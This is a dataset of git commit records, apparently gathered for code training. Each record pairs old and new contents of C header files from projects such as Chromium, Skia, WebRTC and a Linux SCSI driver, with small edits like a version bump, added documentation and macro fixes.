<38b52dbb5f0b63d149982b6c5de788ec93a89032@linux-sh.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"96355a918a22e53d0c2ae369aae77b2c7b4b276e","old_file":"third_party\/widevine\/cdm\/android\/widevine_cdm_version.h","new_file":"third_party\/widevine\/cdm\/android\/widevine_cdm_version.h","old_contents":"\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WIDEVINE_CDM_VERSION_H_\n#define WIDEVINE_CDM_VERSION_H_\n\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n\/\/ Indicates that the Widevine CDM is available.\n#define WIDEVINE_CDM_AVAILABLE\n\n\/\/ Indicates that AVC1 decoding is available for ISO BMFF CENC.\n#define WIDEVINE_CDM_AVC1_SUPPORT_AVAILABLE\n\/\/ Indicates that AAC decoding is available for ISO BMFF CENC.\n#define WIDEVINE_CDM_AAC_SUPPORT_AVAILABLE\n\n#endif  \/\/ WIDEVINE_CDM_VERSION_H_\n","new_contents":"\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WIDEVINE_CDM_VERSION_H_\n#define WIDEVINE_CDM_VERSION_H_\n\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n\/\/ Indicates that the Widevine CDM is available.\n#define WIDEVINE_CDM_AVAILABLE\n\n#endif  \/\/ WIDEVINE_CDM_VERSION_H_\n","subject":"Remove obsolete defines from Android CDM file.","message":"Remove obsolete defines from Android CDM file.\n\nBUG=349185\n\nReview URL: https:\/\/codereview.chromium.org\/1000863003\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#321407}\n","lang":"C","license":"bsd-3-clause","repos":"ltilve\/chromium,Chilledheart\/chromium,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,Just-D\/chromium-1,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,ltilve\/chromium,ltilve\/chromium,Just-D\/chromium-1,ltilve\/chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk"}
{"commit":"7653c016ce7556070ee9ffdb9466b5356500f7ed","old_file":"include\/sampleflow\/consumers\/count_samples.h","new_file":"include\/sampleflow\/consumers\/count_samples.h","old_contents":"","new_contents":"\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 2019 by the SampleFlow authors.\n\/\/\n\/\/ This file is part of the SampleFlow library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE.md at\n\/\/ the top level directory of deal.II.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n#ifndef SAMPLEFLOW_CONSUMERS_COUNT_SAMPLES_H\n#define SAMPLEFLOW_CONSUMERS_COUNT_SAMPLES_H\n\n#include <sampleflow\/consumer.h>\n#include <mutex>\n\n\nnamespace SampleFlow\n{\n  namespace Consumers\n  {\n    \/**\n     * A Consumer class that simply counts how many samples it has received.\n     *\n     *\n     * ### Threading model ###\n     *\n     * The implementation of this class is thread-safe, i.e., its\n     * consume() member function can be called concurrently and from multiple\n     * threads.\n     *\n     *\n     * @tparam InputType The C++ type used for the samples $x_k$.\n     *\/\n    template <typename InputType>\n    class CountSamples : public Consumer<InputType>\n    {\n      public:\n        \/**\n         * The type of the information generated by this class, i.e., the type\n         * of the object returned by get(). This is just the type used to store\n         * the index of samples.\n         *\/\n        using value_type = types::sample_index;\n\n        \/**\n         * Constructor.\n         *\/\n        CountSamples ();\n\n        \/**\n         * Process one sample by just incrementing the sample counter.\n         *\n         * @param[in] sample The sample to process. Since this class does\n         *   not care about the actual value of the sample, it simply\n         *   ignores its value.\n         * @param[in] aux_data Auxiliary data about this sample. The current\n         *   class does not know what to do with any such data and consequently\n         *   simply ignores it.\n         *\/\n        virtual\n        void\n        consume (InputType sample, AuxiliaryData aux_data) override;\n\n        \/**\n         * A function that returns the number of samples received so far.\n         *\n         * @return The computed mean value.\n         *\/\n        value_type\n        get () const;\n\n      private:\n        \/**\n         * A mutex used to lock access to all member variables when running\n         * on multiple threads.\n         *\/\n        mutable std::mutex mutex;\n\n        \/**\n         * The number of samples received so far.\n         *\/\n        types::sample_index n_samples;\n    };\n\n\n\n    template <typename InputType>\n    CountSamples<InputType>::\n    CountSamples ()\n      :\n      n_samples (0)\n    {}\n\n\n\n    template <typename InputType>\n    void\n    CountSamples<InputType>::\n    consume (InputType \/*sample*\/, AuxiliaryData \/*aux_data*\/)\n    {\n      std::lock_guard<std::mutex> lock(mutex);\n\n      ++n_samples;\n    }\n\n\n\n    template <typename InputType>\n    typename CountSamples<InputType>::value_type\n    CountSamples<InputType>::\n    get () const\n    {\n      std::lock_guard<std::mutex> lock(mutex);\n\n      return n_samples;\n    }\n\n  }\n}\n\n#endif\n","subject":"Add a consumer that just counts samples.","message":"Add a consumer that just counts samples.\n","lang":"C","license":"lgpl-2.1","repos":"bangerth\/mcmc"}
{"commit":"130935d333492d5cca8d508f4d28023dc0e2ed61","old_file":"MoleQueue\/job.h","new_file":"MoleQueue\/job.h","old_contents":"\/******************************************************************************\n\n  This source file is part of the MoleQueue project.\n\n  Copyright 2011 Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n\n#ifndef JOB_H\n#define JOB_H\n\n#include <QObject>\n\nnamespace MoleQueue {\n\nclass Queue;\nclass Program;\n\nclass Job : public QObject\n{\n  Q_OBJECT\n\npublic:\n  explicit Job(const Program *program);\n  ~Job();\n\n  void setName(const QString &name);\n  QString name() const;\n  void setTitle(const QString &title);\n  QString title() const;\n\n  const Program* program() const;\n  const Queue* queue() const;\n\nprivate:\n  QString m_name;\n  QString m_title;\n  const Program* m_program;\n};\n\n} \/\/ end MoleQueue namespace\n\n#endif \/\/ JOB_H\n","new_contents":"\/******************************************************************************\n\n  This source file is part of the MoleQueue project.\n\n  Copyright 2011 Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n\n#ifndef JOB_H\n#define JOB_H\n\n#include <QObject>\n\nnamespace MoleQueue {\n\nclass Queue;\nclass Program;\n\n\/**\n * Class to represent an execution of a Program.\n *\/\nclass Job : public QObject\n{\n  Q_OBJECT\n\npublic:\n  \/** Creates a new job. *\/\n  explicit Job(const Program *program);\n\n  \/* Destroys the job object. *\/\n  ~Job();\n\n  \/** Set the name of the job to \\p name. *\/\n  void setName(const QString &name);\n\n  \/** Returns the name of the job. *\/\n  QString name() const;\n\n  \/** Sets the title of the job to \\p title. *\/\n  void setTitle(const QString &title);\n\n  \/** Returns the title for the job. *\/\n  QString title() const;\n\n  \/** Returns the program that the job is a type of. *\/\n  const Program* program() const;\n\n  \/** Returns the queue that the job is a member of. *\/\n  const Queue* queue() const;\n\nprivate:\n  \/** The name of the job. *\/\n  QString m_name;\n\n  \/** The title of the job. *\/\n  QString m_title;\n\n  \/** The program that the job is a type of. *\/\n  const Program* m_program;\n};\n\n} \/\/ end MoleQueue namespace\n\n#endif \/\/ JOB_H\n","subject":"Add documentation for the Job class","message":"Add documentation for the Job class\n","lang":"C","license":"bsd-3-clause","repos":"OpenChemistry\/molequeue,OpenChemistry\/molequeue,OpenChemistry\/molequeue"}
{"commit":"b6170a2ec91bd2e15e17710c651f227adf1518c8","old_file":"SQGlobalMarco.h","new_file":"SQGlobalMarco.h","old_contents":"\/\/\n\/\/  SQGlobalMarco.h\n\/\/\n\/\/  Created by Shi Eric on 3\/18\/12.\n\/\/  Copyright (c) 2012 Safe&Quick[http:\/\/www.saick.net]. All rights reserved.\n\/\/\n\n#ifndef _SQGlobalMarco_h\n#define _SQGlobalMarco_h\n\n#define kMinOSVersion   4.0f\n\n#define saferelease(foo) {if(foo != nil) {[foo release]; foo = nil;}}\n\n#define isLandscape (UIInterfaceOrientationIsLandscape\\\n([[UIApplication sharedApplication] statusBarOrientation]))\n\n#define isPad ([[UIDevice currentDevice] respondsToSelector:@selector(userInterfaceIdiom)]\\\n&& [[UIDevice currentDevice] userInterfaceIdiom] == UIUserInterfaceIdiomPad)\n\n#define isPhone5 ([UIScreen instancesRespondToSelector:@selector(currentMode)] ? CGSizeEqualToSize(CGSizeMake(640, 1136), [[UIScreen mainScreen] currentMode].size) : NO)\n\n#define kOSVersion (float)([[[UIDevice currentDevice] systemVersion] length] > 0 ? [[[UIDevice currentDevice] systemVersion] doubleValue] : kMinOSVersion)\n\n#endif\n","new_contents":"\/\/\n\/\/  SQGlobalMarco.h\n\/\/\n\/\/  Created by Shi Eric on 3\/18\/12.\n\/\/  Copyright (c) 2012 Safe&Quick[http:\/\/www.saick.net]. All rights reserved.\n\/\/\n\n#ifndef _SQGlobalMarco_h\n#define _SQGlobalMarco_h\n\n#define kMinOSVersion   4.0f\n\n#define saferelease(foo) {if(foo != nil) {[foo release]; foo = nil;}}\n\n#define isLandscape (UIInterfaceOrientationIsLandscape\\\n([[UIApplication sharedApplication] statusBarOrientation]))\n\n#define isPad ([[UIDevice currentDevice] respondsToSelector:@selector(userInterfaceIdiom)]\\\n&& [[UIDevice currentDevice] userInterfaceIdiom] == UIUserInterfaceIdiomPad)\n\n#define isPhone5 ([UIScreen instancesRespondToSelector:@selector(currentMode)] ? CGSizeEqualToSize(CGSizeMake(640, 1136), [[UIScreen mainScreen] currentMode].size) : NO)\n\n#define kOSVersion (float)([[[UIDevice currentDevice] systemVersion] length] > 0 ? [[[UIDevice currentDevice] systemVersion] doubleValue] : kMinOSVersion)\n\n#define kScreenSize   [[UIScreen mainScreen] bounds].size\n\n\/\/ Radians to degrees\n#define RADIANS_TO_DEGREES(radians) ((radians) * (180.0 \/ M_PI))\n\/\/ Degrees to radians\n#define DEGREES_TO_RADIANS(angle) ((angle) \/ 180.0 * M_PI)\n\n#endif\n","subject":"Add kScreenSize and Radians to or from degrees","message":"Add kScreenSize and Radians to or from degrees\n","lang":"C","license":"mit","repos":"shjborage\/SQCommonUtils"}
{"commit":"5ce8b438da24b7a2f2de771d9276a6a6789236a2","old_file":"include\/core\/SkSpinlock.h","new_file":"include\/core\/SkSpinlock.h","old_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/\/ This file is not part of the public Skia API.\n\n#ifndef SkSpinlock_DEFINED\n#define SkSpinlock_DEFINED\n\n#include \"SkAtomics.h\"\n\n#define SK_DECLARE_STATIC_SPINLOCK(name) namespace {} static SkPODSpinlock name\n\n\/\/ This class has no constructor and must be zero-initialized (the macro above does this).\nclass SkPODSpinlock {\npublic:\n    void acquire() {\n        \/\/ To act as a mutex, we need an acquire barrier if we take the lock.\n        if (sk_atomic_exchange(&fLocked, true, sk_memory_order_acquire)) {\n            \/\/ Lock was contended.  Fall back to an out-of-line spin loop.\n            this->contendedAcquire();\n        }\n    }\n\n    void release() {\n        \/\/ To act as a mutex, we need a release barrier.\n        sk_atomic_store(&fLocked, false, sk_memory_order_release);\n    }\n\nprivate:\n    void contendedAcquire();\n    bool fLocked;\n};\n\n\/\/ For non-global-static use cases, this is normally what you want.\nclass SkSpinlock : public SkPODSpinlock {\npublic:\n    SkSpinlock() { this->release(); }\n};\n\n#endif\/\/SkSpinlock_DEFINED\n","new_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/\/ This file is not part of the public Skia API.\n\n#ifndef SkSpinlock_DEFINED\n#define SkSpinlock_DEFINED\n\n#include \"SkAtomics.h\"\n\n#define SK_DECLARE_STATIC_SPINLOCK(name) namespace {} static SkPODSpinlock name\n\n\/\/ This class has no constructor and must be zero-initialized (the macro above does this).\nclass SK_API SkPODSpinlock {\npublic:\n    void acquire() {\n        \/\/ To act as a mutex, we need an acquire barrier if we take the lock.\n        if (sk_atomic_exchange(&fLocked, true, sk_memory_order_acquire)) {\n            \/\/ Lock was contended.  Fall back to an out-of-line spin loop.\n            this->contendedAcquire();\n        }\n    }\n\n    void release() {\n        \/\/ To act as a mutex, we need a release barrier.\n        sk_atomic_store(&fLocked, false, sk_memory_order_release);\n    }\n\nprivate:\n    void contendedAcquire();\n    bool fLocked;\n};\n\n\/\/ For non-global-static use cases, this is normally what you want.\nclass SkSpinlock : public SkPODSpinlock {\npublic:\n    SkSpinlock() { this->release(); }\n};\n\n#endif\/\/SkSpinlock_DEFINED\n","subject":"Fix componene debug build failure in chromium","message":"Fix componene debug build failure in chromium\n\nThe error log is as follows:\n..\/..\/third_party\/skia\/include\/core\/SkSpinlock.h:24: error: undefined reference to 'SkPODSpinlock::contendedAcquire()'\ncollect2: error: ld returned 1 exit status\n\n[mtklein added below here]\nDespite the presence in include\/ and the added SK_API, this file is not part of Skia's public API... it's just used by files which are.\nTBR=reed@google.com\n\nReview URL: https:\/\/codereview.chromium.org\/1229003004\n","lang":"C","license":"apache-2.0","repos":"noselhq\/skia,pcwalton\/skia,qrealka\/skia-hc,noselhq\/skia,ominux\/skia,tmpvar\/skia.cc,todotodoo\/skia,shahrzadmn\/skia,noselhq\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,pcwalton\/skia,Jichao\/skia,rubenvb\/skia,ominux\/skia,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,pcwalton\/skia,Hikari-no-Tenshi\/android_external_skia,noselhq\/skia,Jichao\/skia,pcwalton\/skia,nvoron23\/skia,todotodoo\/skia,google\/skia,Jichao\/skia,nvoron23\/skia,ominux\/skia,nvoron23\/skia,rubenvb\/skia,vanish87\/skia,shahrzadmn\/skia,noselhq\/skia,nvoron23\/skia,vanish87\/skia,nvoron23\/skia,aosp-mirror\/platform_external_skia,noselhq\/skia,vanish87\/skia,aosp-mirror\/platform_external_skia,shahrzadmn\/skia,tmpvar\/skia.cc,Jichao\/skia,Jichao\/skia,todotodoo\/skia,qrealka\/skia-hc,ominux\/skia,Jichao\/skia,tmpvar\/skia.cc,pcwalton\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,todotodoo\/skia,nvoron23\/skia,vanish87\/skia,tmpvar\/skia.cc,nvoron23\/skia,aosp-mirror\/platform_external_skia,vanish87\/skia,google\/skia,nvoron23\/skia,rubenvb\/skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,shahrzadmn\/skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,todotodoo\/skia,vanish87\/skia,todotodoo\/skia,aosp-mirror\/platform_external_skia,noselhq\/skia,shahrzadmn\/skia,ominux\/skia,HalCanary\/skia-hc,nvoron23\/skia,shahrzadmn\/skia,pcwalton\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,shahrzadmn\/skia,qrealka\/skia-hc,tmpvar\/skia.cc,tmpvar\/skia.cc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,ominux\/skia,todotodoo\/skia,shahrzadmn\/skia,qrealka\/skia-hc,ominux\/skia,HalCanary\/skia-hc,Jichao\/skia,google\/skia,todotodoo\/skia,qrealka\/skia-hc,tmpvar\/skia.cc,vanish87\/skia,vanish87\/skia,pcwalton\/skia,ominux\/skia,rubenvb\/skia,qrealka\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,Jichao\/skia,shahrzadmn\/skia,todotodoo\/skia,google\/skia,noselhq\/skia,vanish87\/skia,aosp-mirror\/platform_external_skia,ominux\/skia,rubenvb\/skia,HalCanary\/skia-hc,pcwalton\/skia,pcwalton\/skia,HalCanary\/skia-hc,Jichao\/skia,rubenvb\/skia,noselhq\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,HalCanary\/skia-hc,google\/skia"}
{"commit":"f98030b029edad449a75309546d7bf4803dfa750","old_file":"webrtc\/common_video\/interface\/texture_video_frame.h","new_file":"webrtc\/common_video\/interface\/texture_video_frame.h","old_contents":"","new_contents":"\/*\n *  Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n#define COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n\n#include \"webrtc\/common_video\/interface\/i420_video_frame.h\"\n\n\/\/ TODO(magjed): Remove this when all external dependencies are updated.\nnamespace webrtc {\n\ntypedef I420VideoFrame TextureVideoFrame;\n\n}  \/\/ namespace webrtc\n\n#endif  \/\/ COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n","subject":"Add intermediate TextureVideoFrame typedef for Chromium","message":"Add intermediate TextureVideoFrame typedef for Chromium\n\nBUG=1128\nR=perkj@webrtc.org\nTBR=stefan\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/42239004\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#8630}\ngit-svn-id: 917f5d3ca488f358c4d40eaec14422cf392ccec9@8630 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc"}
{"commit":"bcc6e1e952df31d96efb7b0e0e1198e103d16b2b","old_file":"PolyMapGenerator\/Structure.h","new_file":"PolyMapGenerator\/Structure.h","old_contents":"#ifndef STRUCTURE_H\n#define STRUCTURE_H\n\n#include <vector>\n\n#include \"Math\/Vector2.h\"\n\nenum class BiomeType\n{\n\tSnow,\n\tTundra,\n\tMountain,\n\tTaiga,\n\tShrubland,\n\tTemprateDesert,\n\tTemprateRainForest,\n\tTemprateDeciduousForest,\n\tGrassland,\n\tTropicalRainForest,\n\tTropicalSeasonalForest,\n\tSubtropicalDesert,\n\tOcean,\n\tLake,\n\tBeach,\n\n\tSize,\n\tNone\n};\n\n\/\/ Forward Declaration\nstruct Edge;\nstruct Corner;\n\n#endif","new_contents":"#ifndef STRUCTURE_H\n#define STRUCTURE_H\n\n#include <vector>\n\n#include \"Math\/Vector2.h\"\n\nenum class BiomeType\n{\n\tSnow,\n\tTundra,\n\tMountain,\n\tTaiga,\n\tShrubland,\n\tTemprateDesert,\n\tTemprateRainForest,\n\tTemprateDeciduousForest,\n\tGrassland,\n\tTropicalRainForest,\n\tTropicalSeasonalForest,\n\tSubtropicalDesert,\n\tOcean,\n\tLake,\n\tBeach,\n\n\tSize,\n\tNone\n};\n\n\/\/ Forward Declaration\nstruct Edge;\nstruct Corner;\n\nstruct Center\n{\n\tunsigned int m_index;\n\tVector2 m_positon;\n\n\tbool m_water;\n\tbool m_ocean;\n\tbool m_coast;\n\tbool m_border;\n\tBiomeType m_biome;\n\tdouble m_elevation;\n\tdouble m_moisture;\n\n\tstd::vector<Edge*> m_edges;\n\tstd::vector<Corner*> m_corners;\n\tstd::vector<Center*> m_centers;\n\n\tusing CenterIterator = std::vector<Center*>::iterator;\n};\n\n#endif","subject":"Declare struct Center's member variables","message":"Declare struct Center's member variables\n","lang":"C","license":"mit","repos":"utilForever\/PolyMapGenerator"}
{"commit":"f30001b81814882577a9ab1e34f64b4d240ca99a","old_file":"lithos_c\/inc\/Lth_assert.h","new_file":"lithos_c\/inc\/Lth_assert.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/ Copyright © 2016 Project Golan\n\/\/\n\/\/ See \"LICENSE\" for more information.\n\/\/\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/ Assertions.\n\/\/\n\/\/-----------------------------------------------------------------------------\n\n#ifndef lithos3__Lth_assert_h\n#define lithos3__Lth_assert_h\n\n#include <stdio.h>\n\n#ifdef NDEBUG\n#define Lth_assert(expression) ((void)0)\n#else\n#define Lth_assert(expression) \\\n   if(!(expression)) \\\n      printf(\"[lithos3] Assertion failed in %s (%s:%i): %s\\n\", \\\n         __func__, __FILE__, __LINE__, #expression); \\\n   else \\\n      ((void)0)\n#endif\n\n#endif\/\/lithos3__Lth_assert_h\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/ Copyright © 2016 Project Golan\n\/\/\n\/\/ See \"LICENSE\" for more information.\n\/\/\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/ Assertions.\n\/\/\n\/\/-----------------------------------------------------------------------------\n\n#ifndef lithos3__Lth_assert_h\n#define lithos3__Lth_assert_h\n\n#include <stdio.h>\n\n#ifdef NDEBUG\n#define Lth_assert(expression) ((void)0)\n#else\n#define Lth_assert(expression) \\\n   if(!(expression)) \\\n      fprintf(stderr, \"[lithos3] Assertion failed in %s (%s:%i): %s\\n\", \\\n         __func__, __FILE__, __LINE__, #expression); \\\n   else \\\n      ((void)0)\n#endif\n\n#endif\/\/lithos3__Lth_assert_h\n","subject":"Fix Lth_Assert not using stderr","message":"assert: Fix Lth_Assert not using stderr\n","lang":"C","license":"mit","repos":"Project-Golan\/LithOS3"}
{"commit":"3b9c212a5cbb1e13ced92639ce83f7a48b8b2331","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.03.01-k8\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t3\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.03.01-k9\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t3\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.03.01-k9.","message":"[SCSI] qla2xxx: Update version number to 8.03.01-k9.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@suse.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"abe85e1caed9feb7bacd69e85eaa479e3f1020ab","old_file":"freestanding\/stdarg.h","new_file":"freestanding\/stdarg.h","old_contents":"#ifndef _STDARG_H\n#define _STDARG_H\n\n\/\/ As defined in the System V x86-64 ABI spec, in section 3.5.7\ntypedef struct {\n\tunsigned int next_int_reg_offset;\n\tunsigned int next_vector_reg_offset;\n\tvoid *next_stack_arg;\n\tvoid *register_save_area;\n} va_list[1];\n\n#define va_start(list, last_arg) __builtin_va_start(list)\n#define va_arg(list, type) __builtin_va_arg(list, type)\n#define va_end(args) __builtin_va_end(list)\n\nstatic unsigned long __builtin_va_arg_uint64(va_list list)\n{\n\tunsigned long result;\n\tif (list->next_int_reg_offset >= 48) {\n\t\tresult = *(unsigned long *)list->next_stack_arg;\n\t\tlist->next_stack_arg = (char *)list->next_stack_arg + 8;\n\t} else {\n\t\tresult = *(unsigned long *)\n\t\t\t((char *)list->register_save_area + list->next_int_reg_offset);\n\t\tlist->next_int_reg_offset += 8;\n\t}\n\n\treturn result;\n}\n\n#endif\n","new_contents":"#ifndef _STDARG_H\n#define _STDARG_H\n\n\/\/ As defined in the System V x86-64 ABI spec, in section 3.5.7\ntypedef struct {\n\tunsigned int next_int_reg_offset;\n\tunsigned int next_vector_reg_offset;\n\tvoid *next_stack_arg;\n\tvoid *register_save_area;\n} va_list[1];\n\n#define va_start(list, last_arg) __builtin_va_start(list)\n#define va_arg(list, type) __builtin_va_arg(list, type)\n#define va_end(list) __builtin_va_end(list)\n\nstatic unsigned long __builtin_va_arg_uint64(va_list list)\n{\n\tunsigned long result;\n\tif (list->next_int_reg_offset >= 48) {\n\t\tresult = *(unsigned long *)list->next_stack_arg;\n\t\tlist->next_stack_arg = (char *)list->next_stack_arg + 8;\n\t} else {\n\t\tresult = *(unsigned long *)\n\t\t\t((char *)list->register_save_area + list->next_int_reg_offset);\n\t\tlist->next_int_reg_offset += 8;\n\t}\n\n\treturn result;\n}\n\n#endif\n","subject":"Fix dumb bug in va_end.","message":"Fix dumb bug in va_end.\n\nThis was never noticed because we don't actually use the argument to\nva_end.\n","lang":"C","license":"mit","repos":"orodley\/naive,orodley\/naive,orodley\/naive,orodley\/naive"}
